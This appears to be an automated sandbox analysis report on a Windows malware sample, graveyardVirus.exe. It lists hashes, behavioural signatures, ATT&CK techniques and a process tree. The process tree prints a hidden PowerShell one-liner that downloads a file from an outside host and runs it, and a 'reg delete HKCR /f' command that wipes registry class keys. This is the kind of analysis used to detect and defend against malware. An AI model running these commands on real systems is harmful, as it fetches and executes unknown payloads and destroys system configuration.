Analysis
- max time kernel
52s - max time network
149s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
01/09/2026, 22:12
Static task
static1
Behavioral task
behavioral1
Sample
graveyardVirus.exe
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
graveyardVirus.exe
Resource
win11ltsc2024-20260709-en
General
- Target graveyardVirus.exe
- Size 37KB
- Sample260901-14m2cafa48
- SHA256 51c337e2e3b4f4d52a31f548da1c238778677a67cc84fe6430442583f6d6999c
- MD5 413ac5f84ab6e3c917d586b8b8e1952a
- SHA1 63f4237bbebf45b0377d3e951771529c1c77cbfa
- SHA512 ae4ac8bb5b5696ca8c0f052dce8468b71d7034a808fca99c16e8e0e47a13b7e9e2f3a45524687273c9f5a39c4f193d9690eecf26e476822a76c7e3c0ac16e50c
- SSDEEP 768:cFNEW8Z4ZqjDBwGGCxurcRkvoIb5z+KHnBY9ssT4x:cFNJ8Z4ZqjDBw2urdog+KHG9ssT4x
- TLSH T11C030A8DAB998033C74EEAFD88A256128730E1274513E78E15CCE5F51AC33968E5D3DB
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 4 5364 powershell.exe 9 5364 powershell.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 5364 powershell.exe - Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
- Modifies system executable filetype association 2 TTPs 16 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\DefaultIcon reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\print\command reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\runas reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\runasuser reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shellex\ContextMenuHandlers\Compatibility reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shellex\DropHandler reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\edit reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\print reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\runas\command reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\edit\command reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\runasuser\command reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shellex\ContextMenuHandlers reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\open\command reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\open reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shellex\{8895b1c6-b41f-4c1c-a562-0d564250836f} reg.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 5256 cmd.exe - Modifies registry class 64 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\AcroExch.Document.DC\shell\Print reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{55F7B88D-A254-4B22-B7BB-FCDBBA1AFA32}\Version reg.exe Key deleted \REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000_Classes\CLSID\{CAFEEFAC-0014-0002-0069-ABCDEFFEDCBA} reg.exe Key deleted \REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000_Classes\CLSID\{CAFEEFAC-0016-0000-0097-ABCDEFFEDCBA} reg.exe Key deleted \REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000_Classes\CLSID\{CAFEEFAC-0016-0000-0154-ABCDEFFEDCBB} reg.exe Key deleted \REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000_Classes\CLSID\{CAFEEFAC-0016-0000-0218-ABCDEFFEDCBB}\InprocServer32 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0217-ABCDEFFEDCBC}\InprocServer32 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.ADTS\OpenWithProgIds reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{00020827-0000-0000-C000-000000000046} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{00020906-0000-0000-C000-000000000046}\Verb\1 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{8AD9C840-044E-11D1-B3E9-00805F499D93}\InprocServer32 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A1EB89D6-0A9C-4575-A0AE-654A990A454C}\InprocServer32\15.0.0.0 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000_Classes\CLSID\{CAFEEFAC-0016-0000-0201-ABCDEFFEDCBC}\InprocServer32 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0213-ABCDEFFEDCBC} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.docx\Word.Document.12\ShellNew reg.exe Key deleted \REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000_Classes\CLSID\{CAFEEFAC-0016-0000-0023-ABCDEFFEDCBC}\InprocServer32 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\AppX0jr688mrddhm2gsn5y1q8jpx5tfsxk7s\Shell reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{00020810-0000-0000-C000-000000000046}\AuxUserType reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{C62A69F0-16DC-11CE-9E98-00AA00574A4F}\ProgID reg.exe Key deleted \REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000_Classes\CLSID\{CAFEEFAC-0015-0000-0043-ABCDEFFEDCBA} reg.exe Key deleted \REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000_Classes\CLSID\{CAFEEFAC-0016-0000-0146-ABCDEFFEDCBA} reg.exe Key deleted \REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0186-ABCDEFFEDCBB}\InprocServer32 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.a52 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0006F031-0000-0000-C000-000000000046}\Verb reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0468C085-CA5B-11D0-AF08-00609797F0E0}\InprocServer32\15.0.0.0 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0190-ABCDEFFEDCBB} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.odp\PersistentHandler reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\AcroAccess.AcrobatAccess.1\CLSID reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6D1FBE59-A654-4A0E-8534-4505008DC528} reg.exe Key deleted \REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000_Classes\CLSID\{CAFEEFAC-0015-0000-0072-ABCDEFFEDCBA} reg.exe Key deleted \REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0094-ABCDEFFEDCBB} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.mos\ShellEx reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.rar\OpenWithProgids reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{00020830-0000-0000-C000-000000000046}\DataFormats\GetSet\0 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6E182020-F460-11CE-9BCD-00AA00608E01} reg.exe Key deleted \REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000_Classes\CLSID\{CAFEEFAC-0014-0002-0022-ABCDEFFEDCBB}\InprocServer32 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000_Classes\CLSID\{CAFEEFAC-0015-0000-0024-ABCDEFFEDCBA}\InprocServer32 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000_Classes\CLSID\{CAFEEFAC-0015-0000-0062-ABCDEFFEDCBC}\InprocServer32 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0086-ABCDEFFEDCBA} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CID.Local\79537a95-8168-4934-9aa2-b3401b8046fe\Svcid reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.iiq\ShellEx\{e357fccd-a995-4576-b01f-234630154e96} reg.exe Key deleted \REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0011-ABCDEFFEDCBB}\InprocServer32 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{18A06B6B-2F3F-4e2b-A611-52BE631B2D22}\AuxUserType\3 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000_Classes\CLSID\{71DCE5D6-4B57-496B-AC21-CD5B54EB93FD}\ProgID reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.lib\PersistentHandler reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.sr2\ShellEx reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{8BD21D20-EC42-11CE-9E0D-00AA006002F3}\TypeLib reg.exe Key deleted \REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000_Classes\CLSID\{CAFEEFAC-0013-0001-0046-ABCDEFFEDCBB}\InprocServer32 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000_Classes\CLSID\{CAFEEFAC-0015-0000-0069-ABCDEFFEDCBB} reg.exe Key deleted \REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0150-ABCDEFFEDCBA}\InprocServer32 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.drf\ShellEx reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.hdp reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\AppX3p914qnpgw4hwj856jw2y286v7d4qnzh reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0006F063-0000-0000-C000-000000000046}\TypeLib reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\*\shellex\ContextMenuHandlers\7-Zip reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.mka reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CID.Local\8ab2b388-415f-419f-b9d7-37fbba2858ed\CustomProperties\LOG\Size reg.exe Key deleted \REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000_Classes\CLSID\{CAFEEFAC-0013-0001-0091-ABCDEFFEDCBB} reg.exe Key deleted \REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000_Classes\CLSID\{CAFEEFAC-0016-0000-0040-ABCDEFFEDCBC} reg.exe Key deleted \REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000_Classes\CLSID\{CAFEEFAC-0016-0000-0204-ABCDEFFEDCBC} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.compositefont reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{00020906-0000-0000-C000-000000000046}\MiscStatus reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A81AAA57-7BA3-412D-BB1D-5BE71B160C19} reg.exe Key deleted \REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0019-ABCDEFFEDCBA} reg.exe - Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 5364 powershell.exe 5364 powershell.exe 5364 powershell.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 4628 graveyardVirus.exe - Suspicious use of AdjustPrivilegeToken 5 IoCs
description pid Process Token: SeDebugPrivilege 4628 graveyardVirus.exe Token: SeDebugPrivilege 4628 graveyardVirus.exe Token: 33 5068 AUDIODG.EXE Token: SeIncBasePriorityPrivilege 5068 AUDIODG.EXE Token: SeDebugPrivilege 5364 powershell.exe - Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 4628 wrote to memory of 5364 4628 graveyardVirus.exe 90 PID 4628 wrote to memory of 5256 4628 graveyardVirus.exe 93 PID 5256 wrote to memory of 5808 5256 cmd.exe 95 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\graveyardVirus.exe"C:\Users\Admin\AppData\Local\Temp\graveyardVirus.exe"1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4628 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr 'https://files.catbox.moe/ab4icn.rar' -OutFile $env:TEMP\file.com; Start-Process -WindowStyle Hidden $env:TEMP\file.com"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5364
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k reg delete HKCR /f2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5256 -
C:\Windows\system32\reg.exereg delete HKCR /f3⤵
- Modifies system executable filetype association
- Modifies registry class
PID:5808
-
-
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x00000000000004D8 0x00000000000004D41⤵
- Suspicious use of AdjustPrivilegeToken
PID:5068
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Persistence
Event Triggered Execution
2Change Default File Association
1Component Object Model Hijacking
1